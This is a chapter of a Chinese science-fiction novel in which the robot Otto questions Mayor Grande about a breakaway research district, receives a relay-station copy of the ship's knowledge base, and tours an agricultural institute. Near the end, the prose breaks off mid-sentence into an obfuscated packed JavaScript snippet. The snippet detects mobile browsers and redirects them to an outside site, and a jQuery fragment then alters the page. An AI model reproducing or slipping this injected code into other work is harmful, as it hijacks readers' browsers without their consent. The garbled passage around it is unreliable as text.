老人依然捧着那杯热饮,双眼瞪着前方。然后他终于把这杯东西放到桌子上往后靠在沙发背上。 “奥托,在你提议我们普及全民教育之前,实际上那里已经先行了一步。”格兰德缓缓回答,“有人在公理号电脑还没有坏得彻底的时候,提取了部分知识出来,然后在一个区域先行培养一批人才。后来学习工作的人多了,就聚居在了那个区域,当时的工程师绝大多数都住在那里。” 真的吗?奥托默默想着,真有这一大片工程师,还能被自己的那一条指令难倒这么多年? “后来那一块就逐渐成了地球上的科研区。船上很多仪器最终都流入那里,其他与科研有关的资源也渐渐扎了根。各种各样的课题几乎都集中在那里。” “为什么需要屏蔽?”奥托小心地抛出了这个问题。 “他们给出的理由是科研需要。”格兰德坐起身来看着人形机器人,“我也不清楚究竟为什么科研需要就必须得屏蔽信号。但是目前来看,他们这一招是在保护你们。” 人形机器人眼中的红光丝毫不动。 “你也见识过了,那里面不少个体持反机器人观点。我有一次试着问过几个脾气稍好点的人,他们给我的理由是,科研这东西必须要自己做,机器人是不可能帮助人类提升自己的自主创新水平的。”格兰德对人形机器人露出一丝具有深长意味的眼神,“不管他们的说辞对不对,至少在这150年里,的确只有他们那一块科技发展得最快。他们的产品到了大区里常常供不应求,几乎每一次的供应都会给大区里的交换平衡造成冲击,大区里不少人的嫉妒心也就上来了,也想进去闯荡。但是那里垄断着技术,要进去,首先门槛非常高,其次进去了就别想出来。” 奥托低着头沉默了一会儿。接着又问了。“O区现在已经脱离地球镇了吗?” 格兰德把头靠在沙发背上,用手往后捋了一下头发。老人闭上了眼睛好一会儿,好久都不开口。奥托安静地等着镇长回答。 “我认为你现在应该理解不了这个,奥托。”镇长终于开口了,“不过我还是讲给你吧。” 人形机器人安静地等待着。 “早在我的任期之前, O区就几乎完全分裂为一个独立的区域了。”老人说,“这个区域与地球镇大区不痛不痒的关系一直是历任镇长的眼中钉。以前有过谈判,但是毫无成效。甚至有一届安全委员会的会长得到镇长的允许后尝试过武力行动,但是显然失败了,并且让这个区域建立起了一套更加牢固的防范系统。” 老人停顿了。 “那是多久以前的事情?”奥托问道。 “挺早了。”镇长捧着热饮,说,“我在这里都快15年了,这个事件还是早发生在我任期之前的。” “所以现在——” “奥托,我知道你想问什么。”格兰德突然打断了人形机器人的话,“你想问的一定是我为什么不去解决这个问题。”老人抬头看了机器人一眼,对方果然微点了下头。 “这个事情不比你在船上碰到的普通冲突。你当时可以送卫兵机器人过去镇压,但是这个地方不一样。首先你不可能把里面的人给杀光来解放这个区域。假设他们被攻破,回到大区,可是他们的思维与大家还是有差别,这就留下思想的种子。时候一到,他们必然还会继续回去重建。其次现在不是时候清理他们。我还需要一点时间。再者,他们的耕作不如大区,因此粮食上他们没有优势,因此现在他们依然需要依靠大区生存,对目前的大区来说是安全的。” “不去镇压,用什么办法来控制他们?” “奥托,人类是不可能被控制的。”格兰德再次用意味深长的眼神看了奥托一眼,“只能暂时让他们老实一点。” 人形机器人镜头中的红光光度没有变化,他往后靠了一下。“我是说——” “现在你不应该知道这么多,奥托。”格兰德把杯子放了下来,站起了身。“有些事情,你……不应该问。” 老人似乎没有意识到背后一直在稳定发着红光的镜头。他正把桌上的东西放回橱柜,身后突然说话了。 “镇长。”清冷声调突然说话。“很多事情您无需隐瞒。” 老人的动作突然顿了一下。随后他转过身来。 “什么意思?” 人形机器人停顿了一会儿,红光照到了地上。“您完全可以信任我。” 老人愣了一下,随即笑了。 “我当然信任你,奥托。”老人边笑边说,“但是这不是隐瞒。我说了,你不理解这个。” “镇长?”过了一会儿,清冷声调再次传出。 “什么事?” “您为什么不愿阿莱茜丝去海边。” 听罢此言,镇长已经有些不直的腰杆似乎猛然塌了一下,但那只是眨眼瞬间。老人许久没有说话。他嗫嚅了一下嘴唇,抬起眼睛朝人形机器人看了一眼,正与对方的红光对上。 “她去海边我会很不安。”老人最终说了这么一句。“晚安,奥托。”他没等人形机器人回应,立刻断开了话题。然后把卧室的房门关上了。 奥托目送老人关上了吱呀作响的门。他站起来默默将剩下的杯子收拾好,关上灯。他只是匆匆地朝监控室内望了一眼,里面隐隐约约转瞬即逝的一下微弱的闪光让他突然顿住了脚步。 他再次朝监控室里望去,果然又是一闪。这一闪让他猛然感到什么事情发生了。他急忙走进监控室,在黑暗中看到了在控制台上不断闪烁的蓝色灯光。可能性可不多。他快速却沉着地打开全息屏,第一眼看到上面弹出来的信息让他不禁怀疑自己是不是看错了。 自动接收到文件: 知识库副本[无损] 来源:BNL0653X 居然有了回应! 急忙把这份珍贵的资料转存到公理号电脑后,一个一直在悬在他心头的巨石终于粉碎了。在此同时,这个文件的后缀吸引了他的注意。 X……信号中继站?为什么…… 奥托从来不知道这些中继站内竟然也有文件的备份。他仔细思考了一下,以前收到的来自地球的信息的确全部都要通过这些被BNL公司安置在太阳系内卫星与某些小行星上的信号中继站来进行继续传输。但是这也就是他所知的这些中继站的所有功能。但通过中继站传输的来源后缀从来都是信号初源的后缀,不可能是中继站的后缀。他以小心起见搜索了一下功能表,上面所写的功能与自己所了解的没有多多少,都是意料之中的答案。 而当他稍稍一回忆自己当初发送的请求的内容,更大的疑点产生了。 他虽然写得很严谨,但他并没有编译让飞船的电脑自主回复的语言——更何况是一个中继站。上面显然不可能有比飞船电脑更强的人工智能在管理。况且,如果的确来自中继站,为什么需要那么长的时间才回应? 真是奇了怪了…… 这些疑问让他警觉地开始检查这份资料。但从大小和随机抽查的好些文件来看,似乎又没有问题。他只得悻悻地放弃继续追查。 无头案子不值得浪费时间。至少现在资料库到手了,飞船数据库最大最重要的漏洞将有机会弥补,而他停滞不前的工作现在也能够继续。他还是有些狐疑地查看着新来的资料,但上面的逻辑让他找不出什么漏洞,到现在为止,这个资料还是基本可信的。 他工作着,与格兰德的谈话却一直萦绕不去。 格兰德怎么知道自己不懂这个? 他隐隐感到老人的话语中似乎有些锋芒。几天来的交谈似乎在接近一个高墙。奥托没有说破自己如果想完全可以从其他来源得知所有的信息,根本无需提问。他想给格兰德一个提示,不幸的是老人似乎没有理解他的意思。 刚下船来的不安到现在似乎并没有消减多少,相反,一种莫名熟悉的感觉此时让他愈加不安起来。这种事情一定在什么时候发生过,而且并不是好事情。他让记忆在自己的处理器中飞驰,试图找到这种不安的源头。当一个个潜在的可能都被他排除掉后,所剩无几的可能终于把迷雾吹散了一点点。给他看到的朦胧礁石证实了危险。 他知道自己好像正在通过一个险情重重的恶礁密布的狭窄海峡。上一次他知道自己失败了,而这一次,他不知道自己通过的把握是多少。 即使早早地关上了门,老人并没有闭眼。他坐在床边的黑暗里,只有月光照到自己的床上。他背对着窗户,没有任何生物能看清他的脸。 奥托最后的问题让他沉浸在了重重的往事中。老人沧桑的双手深深埋住自己的脸,唯有已经不再笔直的背沐浴在越升越高的月光中,最终月光也离开了床板,浅浅地在窗台下留下一条窄窄的光斑。 苍老的指缝早就无法合拢。分明的骨节中落下一滴不能看到的什么东西。静谧在屋子里停留了良久,一声长得不同寻常的叹息才悄悄让它轻盈地跳出了窗外。 “哦……可怜的小杰克……”格兰德如是叹道。小儿子淹没在海浪中的身影不由自主地在他脑海里一遍遍播放,无论过了多少年,都在一遍遍刺痛老人的心。 10. 九 “早上好,奥托。”微凉的秋晨,老人有些迟钝地努力想要拉直着自己那有些僵硬的腰,暗自感叹了一下力不从心。 “早上好,格兰德。”人形机器人坐在沙发上。晨光从门廊里透进来,让银色的金属表皮微微发亮,胸口下方还有一截反光的亮丝连接在机器人正在操作的数据板上,“昨天23:48接收到了数据库备份,已经转存到公理号电脑里了。现在编辑数据库开放公告。” 老人一下子清醒了。“什么?” 格兰德拿起桌上冒着热气的杯子,不顾自己依然僵硬的背,走到人形机器人身边。他拿起金属手中的数据板,在越来越亮的晨光中不得不眯起眼睛仔细查看,丝毫没有留意数据板底端似乎还在被什么东西扯着。奥托不得不把数据线再拉长一点,以防那个依然在传输数据的线被扯掉。 过了许久之后,老人才把数据板还到人形机器人手中。 “奥托。”格兰德说,“你这么尽心尽责工作,本不应该让我担心。但是——” 奥托静静等待老人说接下来的话。 “把它删掉。”老人说,“不要发布任何公告,而且删了存在公理号里的完整版本。” “为什么?” “现在这完整版本在哪里还有?“老人没有理会奥托的疑问,继续说。 “监控室的光片。”奥托如实回答了。 “好。”格兰德说,“你把公理号里的删掉。光片里的留着。” “我的任务之一是恢复主电脑数据库。” “我知道。”格兰德把手放在人形机器人的金属肩膀上,“你听我的做,别问那么多。昨天不才告诉你?”老人的眼睛锐利地扫了银色面孔一眼。“知道该怎么做吗?” “……是,镇长。”奥托把视线转回手中的数据板上。在镇长的目光中,他有些犹豫地拔出了数据线,数据板上立刻显现错误字样。然后老人端着杯子走开了,留银色身影独自坐在晨光中。 奥托在从接近地球镇边缘的地方花了差不多2小时才进入到东北部的农业部所在地。这一次他深刻地认识到,以他的速度花在路上的时间实在太长了。他决定回去后就得做点什么改变这种状况。 所谓的农业部大楼,其实是原先BNL公司留在地球上的一个小商场之一。经过检查过后人们发现,这间千年老屋还是挺结实的,至少他们认为比自己现在建的要牢固。而里面的布局并不适合改造成居民楼,因此在补上这间圆顶形的商场上方的漏洞加上正门上方用金属架子焊的”农业部”几个大字之后,就建立了地球镇的农业部。 奥托走到修理后终于正常运作的玻璃门前方,玻璃门自动开了。 “早上好。”在旁边接待台的一个女士依然在盯着眼前的全息屏在工作,头也没有抬说道。而当她终于抬头看到那个似乎在看着自己的面孔时,漂亮的褐色眼睛一瞪,立刻抬起了一只手捂在了嘴上掩盖住即将冲口而出的尖叫。 奥托静静地等了几秒钟,等女士惊魂稍定之后才有所动作。几个月来每去一个新地方都会收到同样的反应,奥托几乎已经习惯了。虽然他认为几个月前在全场面前露过面之后不应当还有如此反应。 “早上好。”他走到接待台前面说道。“我是奥托。” 接待处的女士瞪着这个单镜头机器人好一阵,随后放下了手,面部的表情恢复了平静,但是留着一丝僵硬。“早上好,奥托。欢迎来到农业部。”她极力让自己说起来像平时面对每一个人一样,“你可以叫我若妮(Roni)。我能为你做什么?” “你好,若妮。”女士的不自然没有逃过奥托的镜头,但他没有理会。“据说这一周你们这里对外开放,是吗?” “是的。”若妮停下了手上的工作,漂亮的棕褐色眼睛打量着走到接待台前的人形机器人,手臂支在桌子上,一只手搓着另一只蜷起来的手。 “不知你可否为我介绍一下这里的一些情况?”人形机器人继续问道。 若妮停止了搓手。她摸了摸下巴,探头看了玻璃门之外一眼,然后面对人形机器人说话了。 “可以。”若妮把面前正在漂浮的全息屏关闭了,浮在半空中的光影在没有旁边光束的支撑下立刻灰飞烟灭。然后她站了起来。“嗯,看上去今天没什么人来,那我就先和你讲了。”她推开接待台的小门走了出来,面对着比自己要高一点的人形机器人。 “说实话,这是我第一次见到一个机器人过来提出这样的请求。”若妮说,“工作这么久,甚至没有任何一个机器人主动进来过这里。”她挑起一边眉毛看着奥托,“你可真有个性。” 奥托没有说话。良好光线下的黑色镜头静静地看着对方。 若妮瞪了他一下,似乎有些诧异对方没有回话。“好。”她望向大厅的展板,终于开讲了。 “地球镇的农业部成立于2819年11月24日,到现在已经差不多有132年的历史了。”若妮恢复到一个专业的讲解员形象,丝毫不顾对方的身份开始清晰地讲道,清亮的声音回荡在大厅里面,”如果你之前有看过地球镇历史的话应该知道,正是因为刚刚落地的公理号人在头几年里饱受暴虐自然之苦,所以麦克雷舰长决定成立这样一个部门专门管理农业方面的一切问题,以便在解决饥荒问题同时他还有精力去解决其他的建设问题。”说完,若妮抬头看了奥托一眼。 人形机器人愣了一下,但很快反应过来。”请细说一下吧。” “好的。”若妮没有追究奥托,开始细讲那段历史。 “降落最初五年的变幻只能用‘可悲的笑话’来形容。”若妮冷静地讲道,奥托有些惊讶她竟然能毫无顾虑地讲出这个形容词。“包括麦克雷舰长自己都对农业一无所知。客观说来,他固然做了很多伟大的事,但不能就此忽视他确实还做了不少愚蠢的事。而这些事情,差点在当时给所有人造成了灭顶之灾。 “刚刚降落的头两年确实得到了上帝的眷顾。雨水充沛,大多时候风和日丽。连年增加的收成极大地鼓舞了人们。在当时人们身体条件的限制下在地上生活依然非常困难,建设进度非常缓慢。在高涨的劳动热情下,第三年开春,麦克雷召集了所有体力恢复得比较好的人类以及具有远征能力的机器人,要求他们出去开垦。开垦活动热火朝天,那年早春干燥晴朗,原本是板结的淤泥地都非常容易地被翻动,以公理号为中心,往外扩张的速度令人震惊。” 听此,奥托微微摇了一下头,这个微小的动作没有逃过若妮的眼睛。 “啊哈,你也知道有问题,是吧?”若妮抬起一边眉毛看了人形机器人一眼,浅浅拉起一边嘴角,继续说道。 “经过几乎日夜不息的一个月后,整个地球镇开始进入到了玉米的播种季。认为耕地面积已经差不多的麦克雷舰长这次决定以地配量,尽管当时有机器人提醒如果播下他所打算用的那么多种子风险太大,刚刚经历过降落的麦克雷舰长却认为这些提醒都是可耻的退缩。他选出了几个对他深信不疑的人,广而告之所有人类,命令所有的机器人服从他的指挥,开始全面耕作。 “那一年出奇地热。已经到了播种季中后段了,还没有下过几场雨。刺眼的阳光与干燥的空气很快把翻好的土地烤得滴水不剩。大家有点不安,因为这与前两年的情况太不一样了,但是大多数都安慰自己说现在不下雨后来一定能把现在的雨补上。但是这年,偏偏没有补上。 “大旱持续了两个半月。其中仅有的几场降雨都少得可怜。如此状况下河流都几乎断了流,入海口只剩下潮湿的河泥和几道细细弱弱的水流,根本引不出去。人们只能不断地向打的水井寻求帮助,以求保护稚嫩的芽苗。然而打上来的水是非常有限的,井水根本供不上远处新开垦的大片土地,人们只能眼睁睁地看着一开始好不容易冒出头来的幼苗在后来持续的干旱中干枯死去。 “由于不断地灌水加上蒸发,地下的水位也在不断降低。有一天,有个人突然发现打上来的水有点不对。他召集了几个人来查看水源,结果让所有人都目瞪口呆——地下水位已经非常低了,海里的咸水渗进了地下水系统,打上来的井水不仅浑浊,而且咸涩不堪。这样的水没法饮用。幸好当时公理号尚有条件进行水的合成供人们饮用。尽管如此,在大旱中人们依然人们将它浇灌到地上,希望人没法饮用但是幼苗能够承受。但是这是一个巨大的错误。 “咸水在地上蒸发后,大雨依然下不来,人们就从井水中打更多的水来浇灌。”若妮讲到这里看了奥托一眼。“你知不知道这样做有什么后果?” 人形机器人立刻从一台静止的录声机恢复了活力。“盐碱地。”清冷的金属声音立刻回答。 “没错。”若妮再次挑了下眉毛。这机器人似乎有备而来。“首先是浇灌最少的那片土地。不知什么时候开始,人们突然发现长得好好的幼苗相继枯黄死去。人们以为是浇灌得不够多,但井水水位的持续下降让人们无法再顾及到边缘的幼苗。人们决定削减有效耕地面积,把剩下最好的资源全留给这一片比落地年还少的耕地。水不断地浇,也不断地蒸发。这时让所有人最害怕的事情还是发生了——过了一段时间后,幼苗的干枯并没有停止,枯黄如同死神一般缓慢地朝灌溉中心蠕动。人们慌了。他们一开始所抱的希望就是用这些珍贵的井水浇灌能照顾到的土地,争取年末能有一定的收成挺过接下来的一年,但是现在的情况连最低的期望都没法满足。 “这个时候一些人通过认真查阅资料后,终于发现井水灌溉的问题。但此时已经几乎无法挽回了。干旱依然在持续,要保持幼苗生长必须浇灌,公理号上的淡化水系统几乎达到满负荷。一开始还只是尽力利用船上的回收水来进行救援式的浇灌,但随着有效耕地面积不断减小,为了保持一定的产量,人们不得不从口中的淡水中省出来,供给农作物。 “枯黄暂时被控制住了,过了不久,雨水开始多了起来,不需要人在烈日下进行浇灌了。农作物的长势开始稳定,气温也稍稍降低了一点。人们松了一口气。但这个时候,见到如此稀疏的农作物,麦克雷做了第二个决定:补种。” 若妮看了一眼奥托,对方保持人形录音机的姿势一动不动。她以几乎不能为人所察觉的速度与幅度翻了一下眼睛,继续说。 “这次,就算是之前对他忠心耿耿的那些人都动摇了。他们看着所剩无几的种子,坚决反对麦克雷再次采用大量的种子进行补种。麦克雷舰长这次的态度也没法那么强硬了,面对众多已经怨气十足的人们,他还是有些忌惮。他同意了只从剩余的少部分拿出来补种。在雨水与仲夏中补种的玉米出芽迅速,几乎赶上了他们的前辈。” “虽然雨水姗姗来迟,但是这一下可就没完没了了。此时虽然是玉米拔节期需要水份,但几乎没有间隙地下雨让整片土地几乎成了一片泽洋。人们只能在大雨中排涝。雨水不仅将早期的盐洗干净了,同样也洗掉了肥分。玉米在阴雨天里长得又细又小,根系也浅的很。唯一值得庆幸的是当时没什么病虫害。” “好不容易熬过了持续下雨的一个半月,天开始晴了。但闷热的天气每维持一段时间就开始暴雨一场。这没什么,但当时有些人看着那比往年细弱许多的杆茎感到有点不安。果然,在持续了一段时间的闷热后,一个令人现在都谈之色变的恶魔来了——飓风。 “飓风将离海边比较近的玉米几乎全部吹倒。剩下的玉米也没好到哪里去,这次是一个极大的损失,丝毫不亚于开始干旱所造成的损失。有效耕地在灾后削减了差不多百分之三十五。南坡靠海的区域几乎彻底毁灭。面对如此惨状,人们一点怨气都发不出来,全只能闷在心里。 “夏季过后,风向开始变了。所剩无几的玉米也慢慢开始抽穗。但天灾还没有停止。当人们看见远方滚滚而来的昏黄尘暴的时候,所剩无几的希望立刻被眼前的汹涌沙尘击得粉碎。此时的农作物还没有开始灌浆,相比往年已经慢了很多。而在沙尘暴的肆虐下,外缘耕地的农作物遭到了毁灭性的破坏。 “不仅是沙尘,后来不断下降的气温虽然没有给人们造成更多的心理冲击,但寒流的破坏力实际上比沙尘暴更大。秋天的雨开始增多,沙尘暴少了,但每下一场雨,气温都下滑一个坡度。持续下滑的温度让还没有灌浆的玉米陷入了休克,然后在寒风中默默地走完生命周期的最后一个月。直到此时,见到已经整株死亡的农作物的人们才猛然意识到了不对。但是此时已经回天乏术了。 “这一年是大灾之年。最后当年统计的玉米收成不到第一年的百分之三十,但是投入的却是第一年的百分之两百五十七。面对如此的收成差距,麦克雷知道接下来的将会是至少一年,多甚至可以到好几年的饥荒。人们不得不回到公理号上靠着剩下来的太空餐度日。在人口已经增加、公理号上部分机能已经停止的情况下,公理号上产出的食物也相当有限。每个人都只能拿到远远低于之前人们平均配额的食物,刚刚能够支撑生存,对于有些人来说,甚至都不能维持自己的生命。往后一年,迅速消瘦的人比比皆是,甚至有一些人濒临死亡。但现在已经没有统计说明,当时有没有出现饿死案例。 “其他的作物,马铃薯因为种的早,所以只是在干旱的时候产生了比较明显的影响,甘薯在大涝中没有及时排涝而损失了一部分。但因为这些作物当时种植的数目不及玉米,所以损失相比起来并没有那么骇人。所以在这里我就不再细说了。它们的具体统计数据全在楼上的全息展板,如果你感兴趣过后可以上去看看。” 奥托轻微点了下头。他知道这段历史,但他没有要求略过。若妮清晰的逻辑让他听起来也不费劲。 “这年的苦头给所有人都打了个响亮的耳光。经历过短时间的摇摆甚至暴动后,一些人开始沉下心来,在休耕时期开始仔细钻研当时飞船上的资料,从中找到了一些与这年事件相似的案例以及解决方案,他们向麦克雷提出必须要成立一个由懂农业的人组成的组织来防止这种事情再度发生。麦克雷只能同意。一开始这个组织只是一群愿意钻研农业知识的人组成的团队,所有的工作都在舰上进行,但随着组织的成熟与工作量、工作分配的细化,农业组织急需一个独立的地点来进行进一步的研究。这促使了地上农业部,也就是现在这个研究所的产生。” “这个研究所的选址本身非常具有争议。因为在降落后15年里低洼地带开始遭受越来越频繁的水淹,因此本来一开始打算建立在南坡的地址在红线不断被上移的海水冲破之后被彻底放弃。到今天看来这个决定依然无懈可击。但是后来的第二选址,也就是今天我们所处的这个研究所地址,虽然不会被水淹,但是因为离东海岸非常近,因此是飓风首当其冲的部位。”若妮把奥托带到面向东方的落地窗前,远处的海湾从研究所俯瞰过去一览无余。“至今为止都不清楚当初选择这个地址的工程师究竟是如何考虑的。后人进行过诸多猜测,最可行的猜测是工程师首先确定不得被淹没,其次在选择不会淹没的基础上选择了这一栋建筑进行改造。” “当然,在研究人员和行政人员搬进去工作后大家依然对这栋建筑的安全放不下心,其实接下来你将会参观的第二层都被改造成了展厅,只有后方的少数几个房间还留用工作。农业部的绝大部分研究机构都在地下。”若妮继续讲述道,“地下分为3层。负一层是普通的办公区域,也是部门最多的所在处;负二层是实验室;负三层面积最小,两个冷冻房都在那里。” 他们停在了大厅的某个全息展板前。”我的介绍到此完毕,接下来你可以继续参观整个大厅的展板了。”若妮清晰的语句回荡在无人的大厅里。“你有什么疑问吗?”她看着人形机器人。 “我可以下去参观吗?”奥托问。 若妮定定地看着这个单镜头的人形机器人好一阵子。她仔细思考了一会儿,终于开口了。 “按照以往的惯例,可以。”若妮说,“不过你必须要在接待台那里登记你的信息,并且在底下一天最多只能呆两小时。那里面还有人在工作。不过他们知道这一周是开放周,所以你进去时他们不会特别惊讶,而且到时候在底下有什么别的问题也可以问他们。” 奥托道过谢之后,开始逐个阅读展厅全息屏上的信息。他有规律地滑过一个又一个版块。若妮回到了接待台。在打开自己面前工作的全息屏之前忍不住再次看了那个人形机器人的背影一眼。此时有些复杂的情绪缓缓而不可忽视地滑过她的内心。 一点都不像他。若妮隔着半透明的蓝色荧幕再盯了那机器人一眼,试图分析那复杂的情绪到底蕴含着什么。但终究只是模糊的一团。她摇了摇头,将这些不专业的念头排出脑海外,让自己全心全意投入到做了一半的工作上。 过了不知多长时间后,奥托重新回到了接待台前。人形机器人默默地在电子登记簿上敲入自己的信息,然后什么话也没多说,在若妮的指示下,他进了通往地下研究机构的电梯。 这登记了个什么?! 坐在办公桌后面的非裔男子差点把手中的咖啡撒在触屏上。正在他刚把咖啡放下皱着眉头思考之时,身后响起了提示铃。 想必是那位奇葩的访客了。约翰用脚一蹬面前的桌子悬浮椅就朝后飘去。他熟练而优雅地在半路上把悬浮椅调了个头,右手精准地按在了“准许进入”的按钮上,然后在悬浮椅还在往前飞动的时候他猛地站起了身,刚刚在他站稳的时候后方的椅子还是轻触了一下他的小腿,让他不由自主地再次皱起眉头。 这个动作,明明练了那么久怎么还不完美…… 滑动门就在他面前打开了。约翰在门开的那一霎那前还在怀疑若妮在搞什么鬼。直到那一袭银色猛地在房间里的灯光下闪进他的眼睛,他下巴都快掉出来了。 “上午好。”奥托首先说话了。“展厅的讲解员若妮准许我下来参观。我需要找302室的约翰·苏利文(John Sullivan)先生。” 约翰的震惊的嘴型还摆在那里。“呃……嗨,我就是约翰。”他有些结巴地说出了这几个字眼。他盯着对方伸过来的金属手愣了一下,才迟疑地伸出自己的右手迎了上去。 “如果我没记错的话,你就是那次出去狠狠教训那几个小子的铁皮人吗?”握手过后约翰放下了些许戒备,他歪着脑袋打量起这人形机器人来,“打得好。” “嗯。”奥托只给出了一个含糊的回答。他不想细说这事。 “那些小坏蛋,整天脑子里想的就是来这里为所欲为。”约翰悄声说道,“不是来剪电缆就是来捣毁种子,害得我们现在警戒做得跟个珍品博物馆似的。一个晚上可以响三次警铃。” “不过我很好奇你为什么要来这里。”约翰一只手托着下巴,突然换了种口气,略带戏谑说道,“一个狂热的老舵粉丝竟然还不发扬一下教主痛恨植物的本性?” 听罢,奥托愣了一下。不过人形机器人很快叉起双手回应了。 “我欣赏您的幽默感。”从那声音中听不太出来人形机器人的情绪,“教主想看看你们的流程和条件。” 约翰上弧的嘴角突然僵住了。他以为对方还会说什么,结果就等来了这两句话。他再度打量了站在面前的人形机器人,不可置信的表情在男人脸上表露无遗。疯了。约翰告诉自己。这个自称奥托的家伙一定是疯了。 “呃……流程什么的比较复杂,因为不同工作的流程是不一样的,这个太多了我不好给你说。但是条件什么的,某些软硬件设施倒是可以带你去看看。”约翰挠了挠卷曲的头发说。 “请吧。”奥托回应。 他们出了这个房间。地下的布局与上层宏大空旷的两个展厅不同,只有一条长长的走廊,旁边是写着房号的门,此时绝大部分房间的门把里面的小世界与外界隔绝,只有幽暗的走廊灯冷冷地照着这个地下迷宫。 他们首先从一处阴暗的楼梯走下了负二层。这一层不比上面那么安静了,有些细细弱弱的机械运作声从走廊深处传来,不同的机械运作声响构成了一曲杂乱的交响乐。约翰带着奥托走到走廊的底端,在尽头那个房间门前停了下来。他把手指放在旁边的感应器上,中间传出一声轻微的机械声响,门从中间裂开,里面的灯应声亮起,但显然不怎么亮。约翰先进去了这个房间,他示意奥托跟进来。 里面只是一个小房间。当外面的门自动关上后,霎时顶上的强光亮起,与走廊形成了强烈对比。接着他们都被沐浴在了带着酒精气的喷雾中。 喷雾刚刚结束,突然从侧面喷薄而出几股强风,将他们身上残留的酒精蒸汽吹干了。直到这时,小房间的灯才灭掉,与此同时另一扇门从中间裂开,展现在他们面前的是一个个巨大的架子,旁边还有一些玻璃分隔的区域。 “这个是我们的培养间。”他对人形机器人说。“我们配好培养基之后在这里培养各种蔬菜、粮食的组织,这里面分几个温度区,也有不同生长阶段的各类农作物,块茎类农作物的培养技术比较成熟,而其他农作物都处于实验阶段,无法投入量产。这里培养的目的是以便地上一有不测,下面培养的可以补充一些,不至于像一开始那样补都来不及补。”约翰这时候扫了人形机器人一眼,“若妮应该给你讲了那段历史吧?” 奥托微点了下头。约翰才把目光转回到培养间中。 奥托扫过那一罐罐培养基。脱分化的、如同啫喱一般的植物组织块都塞在架子的内层以便避光。稍稍靠近外层的培养组织已经可以看出分化,细弱的、白色的根还找不到方向,在刚刚脱分化的组织块上支楞巴翘的,不过再给它们一点时间它们就能找到方向扎下去,留在上面的根将会自己死亡。 他突然感到踩着的地方有点异样。抬脚,地下一滩微棕色的、显然之前是什么液体的痕迹映入他的电子视野。他顺着地板望去前面,这才发现几乎是靠着柱子的部分都有这样的痕迹,但那些都浅得多而且少得多,之前就像是溅出去的。这一滩的另一半藏在了架子底下,在湿度的作用下还留着一点水分。 奥托一句话都没说,然而约翰很快注意到了人形机器人的视线。他扭过头来,差点惊得一跳三尺。 “这帮大头虾。”约翰的声音中带着一丝怒意,“一定是哪个人不小心洒了出去又不及时清理。”他掏出了全息板,正要启动,想了想又放了回去,“回去我就查查是谁最后进来这里的。” 刚刚不做声的人形机器人突然说话了,清冷的声音在约翰身旁响起,但在那一瞬间约翰仿佛感到有颗炸弹在耳边炸响。 “这里有过微生物污染吗?” 闻言,约翰使劲想了想。但最后他耸了下肩,对着奥托摊手了。 “我肯定不是第一届来这里的人。”约翰说,“微生物污染有时候会在某几个培养基里被发现,一般只要一发现我们就会立刻处理掉,而且总的说来流程不会有什么大问题……该加的该保护的都做了……而且就我所知,大型的微生物污染事故还真没发生过……不仅这里,地上也似乎没有过什么特别的疫情。” “哦。”人形机器人只是简短地回应了一句。 约翰没有让奥托走进培养间更深的地方。他们就在前面几个架子前转了一圈就出来了。在离开大门关灯之前那很短的时间内奥托回头看了整个培养间一眼。深处的架子渐渐消失在黑暗中,仿佛后面是无穷的延伸。 “你留意到旁边的这些冷柜了吗?”他们回到了走廊上,约翰指着走廊旁边的那些巨大的、白色的、现在还在发出微弱的嗡嗡声响的密封立柜说道,“这些,我们用来冻酶,也冻一些已经扩好的目的基因。然后就可以把这些基因转到细胞里。很早期的技术,费时费力,但又不得不做。” 假如在他旁边走的只是个普通的地球镇民,约翰知道自己说了他们也不一定明白这到底是怎么回事,一些年轻的甚至会在听他这么解释过后迫于在底下的办公区域只能发出一丝压抑后的惊叹。实际上在刚刚进去培养间的时候就应该有惊叹声了。讲完后的微弱回声把他本身的声音放大过后就再无声响,约翰似乎猛然从梦中惊醒。 他猛然意识到,旁边的人形机器人在这整个过程中都在沉默。太沉默了。 这是怎么回事?约翰的脑袋里乌七八糟地飞过许多杂乱的念头,很快他让理智把这些纷乱的线条解开了。等到这些线条终于分成色彩不同的一条条后,那个他最担心的可能就趾高气扬地悬在那里。 妈的,我早该想到。约翰暗自咒骂了自己一句。我还得好好想想接下来这个“景点”到底应不应该带他看。 他大脑里的其他部分告诉他可不能犹豫太久。约翰感到自己的手心有些发汗。拐过那个弯就是下个景点了。该怎么办?约翰感到旁边那位的脸中央似乎在幽幽地发着红光。这个小小的细节又剥去了他一点注意力,他的眼珠焦急地搜索着周围,渴望看到什么来帮他解脱这种困境。 拐角处那个压力门顶上的绿光映入了约翰的眼角。他猛然灵光一现。对呀。为什么不先把铁皮人带下去,反正底下也没什么可以看的,还给我一些时间考虑考虑。瞬间他恢复了往前走的动力。约翰推开那扇压力门,先让奥托走进了那个楼梯间,然后他稍稍松了力,门迫不及待地把自己收拢了。 “这个是我们的冷冻房。”底下的噪声越来越大,当他们推开楼梯口门的时候轰隆隆的刺耳声响立刻灌在了他们中间,约翰不得不提高音量,“我们把制好的种子储存在这里。本来以前都是存在公理号上的,但自从上面的设备被搬出去后,我们就只能存在这里了。而且现在也没有存在公理号上的必要。” 约翰看了一眼奥托,后者还是什么都没说,他看到机器人眼中的红光定在有些微光的那个带着雾气的玻璃窗上久久没有移动。那是磨砂玻璃窗,里面什么都看不见。尽管一早就知道,约翰还是忍不住扫了一下那个狭窄的玻璃窗来确认。 倒是奇怪。约翰在继续思考的过程中又瞥了奥托一眼。我还以为他会趴在窗口使劲看。 约翰使劲理了理思路。接下来那个房间到底应不应该开呢……他在自己的思维里飞驰着。 那房间里到底有什么……似乎并不是什么机密……人家那一套早就比我们这里先进多了…… 他到时候进去会干什么?! 想到这里,约翰看了看对方的银色躯体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706276|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一种前所未有的挣脱感突然裹住了他。 